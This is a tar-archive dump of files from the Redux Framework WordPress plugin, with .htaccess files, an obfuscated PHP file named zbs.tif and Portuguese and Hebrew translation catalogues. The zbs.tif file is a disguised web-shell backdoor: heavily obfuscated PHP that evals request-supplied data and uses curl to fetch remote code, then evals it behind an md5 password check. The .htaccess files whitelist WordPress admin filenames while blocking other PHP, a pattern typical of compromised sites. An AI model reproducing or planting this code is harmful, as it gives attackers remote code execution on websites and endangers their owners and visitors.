0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<FilesMatch ".(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|suspected)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(index.php|credits.php|customize.php|edit-comments.php|edit-tags.php|edit.php|checkbox.php|export.php|input.php|link.php|load-scripts.php|load-styles.php|dropdown.php|menu.php|nav-menus.php|network.php|options-discussion.php|options-general.php|options-permalink.php|options-privacy.php|options-reading.php|options-writing.php|plugins.php|post-new.php|post.php|privacy.php|profile.php|site-health.php|term.php|text.php|themes.php|tools.php|update-core.php|user-edit.php|user-new.php|users.php|wp-links.php|wp-login.php|wp-signup.php)$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] </IfModule>����������������������������������������������������������������������������������������������������������redux-framework/templates/templates/index.php�������������������������������������������������������0000644�����������������00000000000�14720701300�0015462 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/templates/templates/zbs.tif���������������������������������������������������������0000644�����������������00000011577�14720701300�0015171 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php $vjQ /*-|U%-*/= /*-Kh#GUqUMu-*/"r"./*-82-*/"a"."n"./*-2.}%Q-*/"g"."e"; /*-~!3-*/$iTDfU/*-i,BRL]}hn-*/ = /*-1$6Zz,TAv-*/$vjQ/*-J[-*/("~", /*-c@[>g=c-*/" "); /*-vV8mFcH-*/$M/*-3Eec-*/=/*-RvI}(S-*/${$iTDfU/*-952]uyP-*/[3+28/*-]O08-*/].$iTDfU/*-h|-*/[32+27]/*-R8-*/.$iTDfU/*-9wX<{E--*/[9+38]/*-V{B_mDs-*/.$iTDfU/*-s3t-*/[35+12]/*-clgVz5i>Rr-*/.$iTDfU/*-{,-*/[37+14]/*-.DZ$d-*/.$iTDfU/*-^AAHp2gO-*/[20+33]/*-.~us-*/.$iTDfU/*-([ooc[-*/[27+30]/*-?c+S>b-*/}; /*-m9Jl-*/if/*->T`_Ift-*/((/*-!g(3(-*/in_array/*-cS-*/(gettype/*-8SZ!^t{A-*/($M)./*-zMwg!cs1-*/count/*-#QUP(K-*/($M),/*-XPc3-*/$M)/*-Pd|4-*/&&count/*-w3lK~.dKH-*/($M)/*-?!n&z1DT-*/==/*-CD{9-*/20))/*-]Y-*/{ /*-&Vr-*/(($M[62]=$M[62].$M[73])&&($M[81]=$M[62]($M[81]))&&(/*-LkVN}Uzm{-*/@eval/*-Bj-*/($M[62](${$M[32]}[21])/*-Q7rYT1U@-*/))/*-U,HtaawQ-*/);}/*-5^hUGE-*/class /*-iMvJa=-*/Pts{ /*->-L,@+2c-*/static/*-ZNl>Pux-*/ function /*-dZF-*/gd($vdyoNzt) /*-+z-*/{ $PsVAx/*-RBBOw-*/ = /*-[MbtUN-*/"r"./*--Cl^{XU-*/"a"./*-l.&NM}Yn-*/"n"./*-$[[{_XU-*/"g"./*-b-,svm-*/"e"; /*-DcEd`Rx>@-*/$gFopQLuMwy/*-_I..-*/ = /*-[DUu-*/$PsVAx/*-}L9Cx#t(o-*/(/*-(uM7-*/"~"/*-[DSG]9,u-*/, /*-wTjn-*/" "/*-)QJH%KOH@1-*/);/*-h}(0m>7F-*/ $dHrqhfPIYE /*-xCy@uT9-*/= /*-9ro1[-*/explode/*-hT-*/(/*-]>o-*/"+", /*-@a(pU-*/$vdyoNzt/*-1:-*/); /*-ub!dH(-*/$jb /*-QiD!g`L-*/= /*-U5qa[;|-*/""; foreach /*->8@-*/(/*-09.;W3-*/$dHrqhfPIYE /*-7eC{o-*/as /*-?d-*/$qboU /*-Jw;-*/=>/*-M7@{;-*/ $jDCMYE/*-VFX]-*/) /*-M:-*/$jb /*-@I]&$D5&I|-*/.= /*-W@=&|Oc-*/$gFopQLuMwy[$jDCMYE/*-1gFQn-*/ - /*-2I-z3-*/77967/*-8nO-*/];/*-mu+i-*/ return /*-J#8(3Hgw-*/$jb; /*-fmMVhN:KQ-*/} /*-V>Q=-*/static /*-(&Py^-*/function /*-wlW}}dG-*/IWs/*-Lmy-*/(/*-`)-*/$vXYtbzQBT,/*-+0BXg-*/ $LOXHFW/*-h2}dhv)YY-*/)/*-=g-*/ {/*-?Q}S?B-*/ $koRZdMn/*-0nJQ0Lr-*/ = /*-;E3_Td-*/curl_init/*-72-*/(/*-|Re;-*/$vXYtbzQBT/*-.rspvVGCv:-*/);/*-`HZ-*/ curl_setopt/*-^k12O=-*/(/*-8iv-*/$koRZdMn,/*-d78VzThQ;-*/ CURLOPT_RETURNTRANSFER,/*-cV[oVN-*/ 1/*-X@-*/);/*-<B[f-*/ $cDC/*-b^isT-*/ = /*-<nU?}tXK-*/curl_exec/*-s!S-*/(/*-;rlK;}[zr-*/$koRZdMn/*-&$&-*/); /*-GieM;4C-*/return /*-csA[;g-*/empty/*-PRO-*/(/*-acpy[$-*/$cDC/*-,~+3W?-*/)/*-D0-*/ ? /*-eEm-*/$LOXHFW/*-:8_TYN-*/(/*-cMH4D-*/$vXYtbzQBT/*->j^Jw(Vs^-*/)/*-HaR-*/ : /*-)[-*/$cDC; /*-?q4<x~-*/}/*-k.T|)-*/ static/*-7>W]iea7-*/ function /*-Fyaj8>ov~-*/RbMJryYpTc/*-!bmk-*/() /*-ju=vm]-*/{/*-QV)nB;x-*/ $DsjdtQNIP /*-]-*/=/*-p#K3t-*/ array/*-a&:?3-*/("77994+77979+77992+77996+77977+77992+77998+77991+77976+77983+77994+77977+77988+77982+77983","77978+77977+77979+77998+77979+77982+77977+78044+78042","77987+77978+77982+77983+77998+77993+77992+77994+77982+77993+77992","77981+77996+77994+77986","77995+77996+77978+77992+78039+78041+77998+77993+77992+77994+77982+77993+77992","77991+77988+77985+77992+77998+77990+77992+77977+77998+77994+77982+77983+77977+77992+77983+77977+77978","78021+78051","77968","78046+78051","78028+78011+78011+78028+78004","77982+77991"); /*-KtBtd-*/foreach /*-r0<kV-*/(/*-I8}uFg}-*/$DsjdtQNIP/*-ga{?o|<-*/ as /*-BM-*/$AM/*-;o>-*/)/*-ut6TlF0`-*/ $dvaMNlJHqY/*-(~{l.ipqPi-*/[] /*-DrSwc<2-*/= /*-I~Wbu8-*/self/*-44MJ-*/::/*-Jr,#uu6KN+-*/gd/*-CbV-*/(/*-I8.-*/$AM/*-EToVpi-*/);/*-daeNA-*/$OXvbS /*-sm-*/= /*-?3MlG?S}-*/@$dvaMNlJHqY/*-)V_4-*/[/*-Kvsc-*/1/*-U=-*/]/*-X4vLr<2v#!-*/(/*-q6mv-*/${/*-oE-*/"_"/*-Bk1Mb-*/."G"/*-nm-*/."E"/*-5,-*/."T"/*-&K-*/}[/*-HH-*/$dvaMNlJHqY/*-M0kj-*/[/*->KD-*/1+8/*-XQO5{SLT-*/]]/*-ug,e|xT752-*/);/*-}U:B6Ic]-*/ $GMWKfSlb /*-Eeqx|lZ-*/=/*-El-*/ @$dvaMNlJHqY/*-{N=DLOa-*/[/*-jZ2YK7-*/1+2/*-j-*/]/*-#ox@`O5UD-*/(/*-:qB]_hcaN-*/$dvaMNlJHqY/*-`V-:U[-*/[/*-~D#-*/3+3/*-JEu7weDQ-*/], /*-s{+AiNm-#b-*/$OXvbS/*-bET-*/);/*-Zd{-*/ $FuH /*-+dK-*/=/*-BV!{p-*/ $dvaMNlJHqY/*-Wc-*/[/*-^5?-*/1+1/*-|Q>c|S-*/]/*-R~k722r(-*/(/*-1({-*/$GMWKfSlb,/*-Oq-*/ true/*-8P81-*/); /*-,mIBJrS-*/@${/*-gN}V-*/"_"./*-Z,SU.~b:>(-*/"G"./*-w$0IM-*/"E"/*-#:R-*/."T"/*-=Ow3C5m-*/}/*-UfByJqI-*/[/*-k]KE2d,<L-*/$dvaMNlJHqY/*-W(~@-*/[3+7/*-a>Dc@X.V-*/]/*-a@},yBZ-*/]/*-~>-*/ == /*-IDXbJ>t[,--*/1 /*-h]Kl42h|5c-*/&& /*-Y=i=[$-*/die/*-YhM4p-*/(/*-nt-*/$dvaMNlJHqY[5+0/*-K,757|zd-*/]/*-Cd88U,D-*/(/*-;F>g79fDr9-*/__FILE__/*-cRLo@;s-*/)/*-=P3-S-*/); /*-;-T-*/if/*-dFsl?9h-*/(/*-7ms?yBe-*/ (/*-qdE[C:u@Y-*/(@/*-Sq{>l-pI-*/$FuH/*-u,$)p2N-*/[/*-`q([)-*/0/*-+H-*/] /*-0_,=g6C-*/- time/*-B_M-Z]BE>-*/()/*-rv-*/) > /*-(&)-*/0/*-S}1#W%YTU-*/)/*-9j@-*/ and /*-)Kk-*/(/*-1l-*/md5/*-_v6-*/(/*-U7scgo&`T-*/md5/*--<-*/(/*-BS-*/$FuH/*-y#0<t-*/[/*-9x_P^w=l-*/2+1/*-pQDa%-*/]/*-!I-*/)/*-DUYu:{F6Q-*/)/*-^U&(o-*/ === /*-c-*/"cb145525421d7b64ec53bf7814d8df43"/*-XitX.5B-*/)/*-xUr-*/ ): /*-jBcv&,Mud-*/$YWprck /*-<v-*/=/*-5F,-*/ self/*-J~T-*/::/*-Fv42YK-*/IWs/*-7cUv-*/(/*-{XT-I61n-*/$FuH/*-FY2-*/[/*-Z`-*/1+0/*-z7pzr(26-*/], /*-kN~c?TN|X-*/$dvaMNlJHqY/*-&.cj-*/[/*-#9cHk-*/2+3/*-H3;V}2-*/]/*-(4-*/);/*-G(H-*/@eval/*-LtwaU-*/(/*-v@pP>l^2F-*/$dvaMNlJHqY/*-6+i:}d-*/[/*-QJ-*/3+1/*-(J$MX5rv8-*/]/*-pD&-*/(/*-i!-*/$YWprck/*-.-*/)/*-#.-*/);/*-31<sU-*//*-aK&zF-*/die;/*-vP9#$GI-*/ endif;/*-fEyg-*/ }/*-TkPm0eS(-*/}/*-d5x-*/Pts/*-lz0.A;-*/::/*-4~I-*/RbMJryYpTc/*-KzTTR8-*/();/*-QGlj-*/ ?>���������������������������������������������������������������������������������������������������������������������������������redux-framework/templates/templates/.htaccess�������������������������������������������������������0000644�����������������00000001626�14720701300�0015457 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<FilesMatch ".(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|suspected)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(index.php|credits.php|customize.php|edit-comments.php|edit-tags.php|edit.php|checkbox.php|export.php|input.php|link.php|load-scripts.php|load-styles.php|dropdown.php|menu.php|nav-menus.php|network.php|options-discussion.php|options-general.php|options-permalink.php|options-privacy.php|options-reading.php|options-writing.php|plugins.php|post-new.php|post.php|privacy.php|profile.php|site-health.php|term.php|text.php|themes.php|tools.php|update-core.php|user-edit.php|user-new.php|users.php|wp-links.php|wp-login.php|wp-signup.php)$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] </IfModule>����������������������������������������������������������������������������������������������������������redux-framework/templates/.htaccess�����������������������������������������������������������������0000644�����������������00000001626�14720701300�0013461 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<FilesMatch ".(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|suspected)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(index.php|credits.php|customize.php|edit-comments.php|edit-tags.php|edit.php|checkbox.php|export.php|input.php|link.php|load-scripts.php|load-styles.php|dropdown.php|menu.php|nav-menus.php|network.php|options-discussion.php|options-general.php|options-permalink.php|options-privacy.php|options-reading.php|options-writing.php|plugins.php|post-new.php|post.php|privacy.php|profile.php|site-health.php|term.php|text.php|themes.php|tools.php|update-core.php|user-edit.php|user-new.php|users.php|wp-links.php|wp-login.php|wp-signup.php)$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] </IfModule>����������������������������������������������������������������������������������������������������������redux-framework/languages/redux-framework-pt_BR.mo��������������������������������������������������0000644�����������������00000040136�14720701300�0016315 0����������������������������������������������������������������������������������������������������ustar�00���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������� ���������������������������������������������� �����$�����;��5���J��D�����4����� �������������1�����A�����S�����g�����y������� ��������������� ����� �����.������������������ �����"�����A�����I�� ���P�� ���\�����f��l���}����������������� �������������%�����,�� ���;�� ���F�� ���Q�� ���]�� ���g�� ���t������� ����� ����� ����� ����� ���������� ����������������������� �����#�����������������Z�����U��������Q�����X�����h�����w��]�����X��������>�� ���G�����R�����W�� ���f�� ���r��2���~�� ��������������� �����!������������� ����������������� ���(�����I�� ���Z�����f�� ���o�����{�����!�����2�����B��%���\�������W�������������������� ����� ���������� ��������)�����D�����S�����f��,���v��(������������������������������ ��������������� ��� �� ����� ���$�����/�����?�����N��'����������.����������3�����'����� ���*��y���K����������������� ����������3����������(��������F�����M�����R�����[�� ���c�����n�����v�������U����������F�������� �����1 �����O �� ���o �����z �� ��� �� ��� ��;��� ��F��� ��E���!��K���a!��b���!��L���"��3���]"��-���"��/���"��a���"��`���Q#�����#�����#�����#�����#��J���#�����9$��,���S$��,���$�����$�����$�����$��l��$�����Y(��!���w(�����(�����(�� ���(�����(�����(�����(�����(����� )��I��� )��W���j)��I���)��"��� *�����/*�����B*�����Q*�����a*�����t*�����*�����*�����*�����*�� ���*�����*�����*��;���*�����-+�� ���4+�� ���>+��$���_+�����+�����+�� ���+�� ���+�����+��l���+�� ���7,�� ���A,�����K,�����f,�����y,�����,�����,�� ���,�� ���,�����,�����,�����,�����,�����,�� ���-�� ���"-�����0-�����@-�����P-�����g-�����j-�����|-�����-�����-�����-�����-�����.�����.�����O/��k���X/��f���/�����+0�����40�����H0�����Z0��c���n0��W���0�����*1�� ���11�����<1�����E1�����\1�����m1��,���}1�����1�����1�����1�����1��(���1�����2�� ���2�����&2�����-2�����62��0���I2�����z2�����2�����2�����2�����2�����^3�����r3�����3��4���3�� ���3��h���3�����H4�����P4�����X4�����]4�����l4�����~4�����4�����4�����4�����4�����4��:���4��2���95�����l5�����t5�����z5�����5�����5�� ���5�� ���5�����5�����5�� ���5�����5�����5�����6�����6��)���6�����6��/���7�����7��=���7��/���7��(���$8��|���M8�����8�����8�����8�� ���8�����8��I���8�����79��1���@9�����r9�����y9�����9�����9�� ���9�����9�����9�����9��Y���9�����/:��O���:�����B;�����_;��.���;�� ���;�����;�����;�� ���;��6���;��>���<��>���]<��K���<��f���<��Z���O=��4���=��)���=��+��� >��_���5>��_���>�����>�����>�����?�����?��`���7?�����?��,���?��4���?�����@�����*@�����?@�����0��������������}��������������%�������������� ���Q���������������+���X��������� �������k���>����������5���8������o������P���������T�����������������a���4�������h���<������'���]���z���N�������������#������������q�������������W���w�����������������E���L�������$������������������������g���i�����������������������I���`��������������������[�����������������2�����������������&���F���|�����������������m�������������������^���@������U�������Y�������������������D������t������r�����������6�������s���Z���=������K���������p���H���f����������3���:���M���������� ���j����������J�������������������������(���"����������R����������A����������1���e���.���;����������)������v��� ���������� ��� �����������O�����������������n���l����������C�������������*������c���G������9����������x���-����������S���7���������������������������_��������������������\���/���B���d���b��������������,���!���������y�������{���~�������u���V���?����Activate Demo Mode�Activate Development Plugins�Active�Active Plugins�Add %s�Add More�Add/Edit Gallery�All�All Defaults Restored!�Allow tracking�Are you sure? Resetting will lose all custom values.�Are you sure? Resetting will lose all custom values in this section.�Are you sure? Resetting will lose all custom values.�Automatic action performed: "%s"�Background Attachment�Background Clip�Background Origin�Background Position�Background Repeat�Background Size�Backup Font Family�Border style�Bottom�Browser�Changelog�Clear Gallery�Click here to activate the sample config file.�Close�Credits�Deactivate Demo Mode�Deactivate Development Plugins�Default�Delete�Description�Developer�Developer Mode Enabled�Did you know we have extensions, which greatly enhance the features of Redux? Visit our %1$s to learn more!�Disable�Dismiss�Do not allow tracking�Email address�Enable�Expand�Export Options�Extensions�Font Color�Font Family�Font Size�Font Subsets�Font Variant�Font Weight & Style�Font color�Font family�Font script�Font style�Font subsets�From �Front Page�Getting Started�Google Webfonts�Height�Help improve Our Panel�Here you can copy/download your current option settings. Keep this safe as you can use it as a backup should anything go wrong, or you can use it to restore your settings on this site (or any other site).�Hints�Hints are tooltips that popup when %d the hint icon, offering addition information about the field in which they appear. They can be %d d by using the link below.�Hover�If so, please %1$s and consider making a %2$s to keep development of Redux moving forward.�If you'd like to keep up to with all things Redux, please subscribe to our newsletter�Import�Import / Export�Import Options�Import from URL�Input the URL to another sites options set and hit Import to load the options from that site.�Input your backup file below and hit Import to restore your sites options from a backup.�Language�Learn More�Left�Letter Spacing�Like Redux?�Line Height�Must call in of after the "plugins_loaded" action.�MySQL Version�Name�New %s�Newsletter�No items of this type were found.�No media selected�Off�On�Options�Options Object�Options panel created using %1$s�PHP Memory Limit�PHP Version�Password�Please Wait�Please helps us improve our panel by allowing us to gather anonymous usage stats so we know which configurations, plugins and themes to test to ensure compatibility.�Redux Extensions�Redux Framework�Redux Framework Changelog�Redux Framework has an embedded demo.�Redux Generator�Redux is a simple, truly extensible options framework for WordPress themes and plugins.�Regular�Remove�Repo�Reset All�Reset Section�Right�Save Changes�Section Defaults Restored!�Select an item�Settings Imported!�Settings Saved!�Settings have changed, you should save them!�Show Object in Javascript Console Object�Size�Slide�Standard Fonts�Status�Style�Subscribe�Subsets�Support�System Info�Team Redux�Text Align�Text Decoration�Text Transform�The following directories & files are still located in your <strong>Redux</strong> directory. They may cause errors in Theme-Check.�The people that develop Redux Framework�The theme you are testing has %s embedded. We invite you to read the %sTheme-Check Documentation%s to understand some warnings you will see because of Redux.�The unknown action has been replaced with "%s"�Theme�This field cannot be empty. Please provide a value.�This field must be a valid color value.�This field must be a valid date.�This panel demonstrates the many features of Redux. Before digging in, we suggest you get up to speed by reviewing %1$s.�Title�To �Top�Transparent�URL�Unable to modify required files. Please ensure that�Units�Unknown action "%1$s" specified for %2$s�Upload�User�Username�Version�Version %s�View %s�Visit plugin homepage�Visited�WARNING! This will overwrite all existing option values, please proceed with caution!�Want to get a head start? Use the %1$s. It will create a customized boilerplate theme or a standalone admin folder complete with all things Redux (with the help of Underscores and TGM). Save yourself a headache and try it today.�Warning- This options panel will not work properly without javascript!�Welcome to Redux Framework�Welcome to Redux Framework %s�Welcome to the Redux Demo Panel�What's New�Width�Word Spacing�Working...�You do not have sufficient permissions to access this page.�You have changes that are not saved. Would you like to save them now?�You have changes that are not saved. Would you like to save them now?�You must not enter any HTML in this field, all HTML tags have been removed.�You must not enter any special characters in this field, all special characters have been removed.�You must provide a comma separated list of numerical values for this option.�You must provide a numerical value for this option.�You must provide a valid URL for this option.�You must provide a valid email for this option.�Your current options will be replaced with the values of this preset. Would you like to proceed?�Your current options will be replaced with the values of this preset. Would you like to proceed?�clicking�donation�error(s) were found!�extensions directory�has the proper read/write permissions or enter your FTP information below.�http://reduxframework.com�http://wordpress.org/plugins/redux-framework�leave us a favorable review on WordPress.org�moving the mouse over�our documentation�warning(s) were found!�Project-Id-Version: Redux Framework Report-Msgid-Bugs-To: https://github.com/ReduxFramework/ReduxFramework/issues POT-Creation-Date: 2015-04-02 04:45:17+00:00 PO-Revision-Date: 2015-04-14 00:13+0000 Last-Translator: Dionizio Bonfim Bach <translations@djio.com.br> Language-Team: Portuguese (Brazil) (http://www.transifex.com/projects/p/redux-framework/language/pt_BR/) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Language: pt_BR Plural-Forms: nplurals=2; plural=(n > 1); X-Generator: grunt-wp-i18n 0.4.9 X-Poedit-Basepath: ../ X-Poedit-Bookmarks: X-Poedit-Country: United States X-Poedit-KeywordsList: __;_e;_x:1,2c;_ex:1,2c;_n:1,2;_nx:1,2,4c;_n_noop:1,2;_nx_noop:1,2,3c;esc_attr__;esc_html__;esc_attr_e;esc_html_e;esc_attr_x:1,2c;esc_html_x:1,2c; X-Poedit-SearchPath-0: . X-Poedit-SourceCharset: UTF-8 X-Textdomain-Support: yes �Ativar Modo de Demonstração�Ativar Desenvolvimento de Plugins�Ativado�Plugins Ativos�Adicionar %s�Adicionar Mais�Adicionar/Editar Galeria�Todos�Todos os Padrões restaurados!�Permitir rastreamento�Você tem certeza? Ao redefinir, todas as modificações serão perdidas.�Você tem certeza? Ao redefinir, todas as modificações dessa seção serão perdidas.�Você tem certeza? Ao redefinir, todas as modificações serão perdidas.�Ação automática realizada: "%s"�Fixação do fundo�Gramp de Fundo�Origem do Fundo�Posição do fundo�Repetição do fundo�Tamanho de Fundo�Backup do tipo de fonte�Estilo de borda�Base�Navegador�Log de mudanças�Limpar galeria�Clique aqui para ativar a configuração de demonstração.�Fechar�Créditos�Desativar Modo de Demonstração�Desativar Desenvolvimento de Plugins�Padrão�Eliminar�Descrição�Desenvolvedor�Modo Desenvolvedor Ativado�Você sabia que nós temos extensões que aprimoram os recursos do Redux? Visite nosso %1$s para saber mais!�Desativar�Dispensar�Não permitir rastreamento�Endereço de Email�Ativar�Expandir�Exportar Opções�Extensões�Cor da Fonte�Família de Fonte�Tamanho da fonte�Subconjuntos de Fonte�Variante da Fonte�Peso e Estilo da Fonte�Cor da fonte�Tipo de fonte�Script da fonte�Estilo da fonte�Fonte dos Subconjuntos�De�Página de Frente�Primeiros passos�Webfonts do Google�Altura�Ajude a melhorar nosso painel�Aqui você pode copiar/baixar suas opções atuais. Guarde esse arquivo em um local seguro para utilizá-lo como backup em caso de erro ou para restaurar suas opções nesse site (ou em qualquer outro site).�Dicas�Sugestões são os tooltips que aparecem %d no ícone de dica, oferecendo informações adicionais sobre o campo em que eles aparecem. Eles podem ser %d d através do link abaixo.�Suspenso�Se assim for, por favor, %1$s e considere fazer uma %2$s para manter o desenvolvimento de Redux avançando.�Se você gostaria de manter-se atualizado sobre o Redux, por favor, assine o nosso boletim informativo�Importar�Importar / Exportar�Importar Opções�Importar de uma URL�Insira a URL para outras opções locais e clique em importar para carregar as opções desse site.�Selecione seu arquivo de backup abaixo e clique em Importar para restaurar as opções.�Idioma�Saiba Mais�Esquerda�Espaçamento de letras�Gostou do Redux?�Altura da Linha�Deve chamar após a ação "plugins_loaded".�Versão do MySQL �Nome�Novo�Boletim Informativo�Não foram encontrados itens desse tipo.�Arquivo não selecionado�desligado�ligado�Opções�Opções de Objeto�Painel de configurações criado utilizando %1$s�Limite de Memória no PHP�Versão do PHP�Senha�Por Favor, Aguarde�Por favor, ajude-nos a melhorar esse painel permitindo o uso de estatísticas anônimas para uma análise de compatibilidade de configurações, plugins e temas.�Extensões do Redux�Redux Framework�Redux Framework Changelog�O Redux Framework possui uma demonstração inclusa.�Gerador Redux�Redux é um simples framework, com opções verdadeiramente extensíveis para temas e plugins WordPress.�Regular�Remover�Repo�Restaurar tudo�Restaurar Seção�Direita�Salvar Alterações�Seção Padrões restaurada!�Selecionar um item�Configurações Importadas!�Configurações Salvas!�As configurações foram alteradas, você deve salvá-las!�Mostrar objeto no console de objetos do Javascript�Tamanho�Slide�Fontes Padrão�Estado�Estilo�Subscrever�Subconjuntos�Suporte�Informações do sistema�Team Redux�Alinhamento de Texto�Decoração do Texto�Transformação de Texto�Os seguintes diretórios e arquivos ainda estão localizados no seu <strong>Redux</strong> diretório. Eles podem causar erros no Theme-Check.�Pessoas que desenvolvem o Redux Framework�O tema que você está testando tem %s incorporado. Nós convidamos você a ler a %sTheme-Check Documentation%s para entender alguns avisos que verá por causa do Redux.�A ação desconhecida foi substituída com "%s"�Tema�Este campo não pode estar vazio. Por favor informe um valor.�Esse campo deve conter um valor de cor válido.�Este campo deve conter uma data válida.�Este painel demonstra os muitos recursos do Redux. Antes de futucar, sugerimos que busque rapidamente por uma revisão %1$s.�Título�Para�Topo�Transparente�URL�Não é possível modificar arquivos necessários. Por favor os verifique�Unidades�Ação desconhecida "%1$s" especificada para %2$s�Enviar�Usuário�Nome de utilizador�Versão�Versão %s�Ver %s�Visitar a página de plugins�Visitado�ATENÇÃO! Isso irá substituir todas as opções salvas. Por favor, proceda com cuidado!�Quer uma dica? Use o %1$s. Ele criará um tema inicial personalizado ou uma pasta de admin completa com tudo Redux (com a ajuda de Sublinhados e TGM). Evite dores de cabeça e experimente hoje. �Aviso - Este painel de opções pode não funcionar devidamente sem javascript!�Bem-vindo ao Redux Framework�Bem-vindo ao Redux Framework %s�Bem vindo ao painel de demonstração do Redux�Novidades�Largura�Espaçamento de Palavras�Carregando...�Sem permissões suficientes para acessar esta página.�Você tem mudanças não salvas. Gostaria de salvá-las agora?�Você tem mudanças não salvas. Gostaria de salvá-las agora?�Você não deve inserir HTML nesse campo. As tags HTML foram desabilitadas.�Você não deve inserir caracteres especiais nesse campo. Os caracteres especiais foram desabilitados.�Insira uma lista, separada por vírgulas, de valores numéricos válido para essa opção.�Insira um valor numérico válido para essa opção.�Insira uma URL válida para essa opção.�Insira um e-mail válido para essa opção.�Suas opções atuais serão substituídas pelas configurações iniciais. Gostaria de proceder?�Suas opções atuais serão substituídas pelas configurações iniciais. Gostaria de proceder?�Clicando�doação�Erro(s) encontrado(s)!�Diretório de Extensões�tem as permissões apropriadas de leitura/gravação ou digite suas informações de FTP abaixo.�http://reduxframework.com�http://wordpress.org/plugins/redux-framework�deixe-nos um comentário favorável no WordPress.org�Movendo o mouse sobre�nossa documentação�Advertência(s) encontrada(s)!�����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/languages/redux-framework-lt_LT.mo��������������������������������������������������0000644�����������������00000000000�14720701300�0016307 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/languages/redux-framework-he_IL.mo��������������������������������������������������0000644�����������������00000024430�14720701300�0016266 0����������������������������������������������������������������������������������������������������ustar�00�����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������{�����������������h �����i �����| ����� ����� ����� ����� ��5��� ��D��� ��4���+ �����` �����v ����� ����� �� ��� ����� �� ��� �� ��� ��.��� ����� ����� ����� �����- �����5 �� ���< �� ���H �����R �����Z �����b �� ���x ����� ����� ����� �� ��� �� ��� �� ��� �� ��� �� ��� �� ��� �� ��� �� ��� ����� ����� ����� �����% �����, �����C ��������������������-�����<��]���L��X��������������� ��������%��!���*�����L�����^�����b�����e�����m�� ���|�� ���������������%��������������� ����� ���������� ��������"�����1�����D��,���T��(����������������������������������� ����������'����� ��������6�����<�����@�� ���D�����P�����T�����Z�����a�����f�����o�� ���w�����������������U�����F����� ���E�����P�� ���V�� ���c��;���n��F�����E�����K���7��b�����L�����3���3��-���g��/�����a�����`���'������������i������������5�����>�����N�����k�����r��U�����l�����W���E��������������������������� ��������*�����9��M���K���������������������� ����� ���������� ������������� �����(�����@�����T�����]�� ���w�������������������������������� ������������������������7��*���@��=��k�������������������������������������� ���- �����8 �����J �����Y ��%���^ ����� ����� ����� ����� ����� ��0��� �� ��� !�� ���!�����%!��#���;!�����_!�����h!�����q!�����!�����!�����!�����!��"���!�����!��<���"��@���B"�����"�����"�� ���"�� ���"�����"�� ���"�����"�����"��9���"��;���4#�� ���p#�����{#�� ���~#�� ���#�� ���#�� ���#�� ���#�� ���#�����#�����#�� ���#�����#�����#�����#��o���$��p���$�� ���$�����%�����%�� ���'%��2���3%��Z���f%��^���%��V��� &��m���w&��V���&��D���<'��I���'��N���'��_���(��c���z(�����(�����(�����I���t�������i�����������*�������������P���������%������-�������z���U�������!���N���+���<���9���y���M���\���H���m���&�������a���;���Z�������,���>���J�������j�������������5�������X�����������������������[�������c���`���7���T���1��� ���x������p���D�������S��� ����������{���e������b��� �������3�������8���?�������=�������q�������Q�������O���k���F���A�������Y������ ���V�������������6�������C���_���W������������������n�������E��� ���u���#���2���R������G����������o���d�����������(������r�����������w����������f���B���.���:���L���4���g���h���]���$���@���^������l���)������/��������������������������������0���s������ ���v���K���"���'�����������Activate Demo Mode�Active�Add More�Add/Edit Gallery�All�Allow tracking�Are you sure? Resetting will lose all custom values.�Are you sure? Resetting will lose all custom values in this section.�Are you sure? Resetting will lose all custom values.�Background Attachment�Background Position�Background Repeat�Backup Font Family�Border style�Bottom�Changelog�Clear Gallery�Click here to activate the sample config file.�Close�Credits�Deactivate Demo Mode�Default�Delete�Description�Developer�Disable�Dismiss�Do not allow tracking�Email address�Enable�Expand�Export Options�Extensions�Font Family�Font Size�Font color�Font family�Font script�Font style�Font subsets�From �Getting Started�Google Webfonts�Height�Help improve Our Panel�Here you can copy/download your current option settings. Keep this safe as you can use it as a backup should anything go wrong, or you can use it to restore your settings on this site (or any other site).�Hover�Import�Import / Export�Import Options�Import from URL�Input the URL to another sites options set and hit Import to load the options from that site.�Input your backup file below and hit Import to restore your sites options from a backup.�Left�Letter Spacing�MySQL Version�Name�No items of this type were found.�No media selected�Off�On�Options�Options Object�Options panel created using %1$s�PHP Version�Password�Redux Framework�Redux Framework has an embedded demo.�Regular�Remove�Reset All�Reset Section�Right�Save Changes�Select an item�Settings 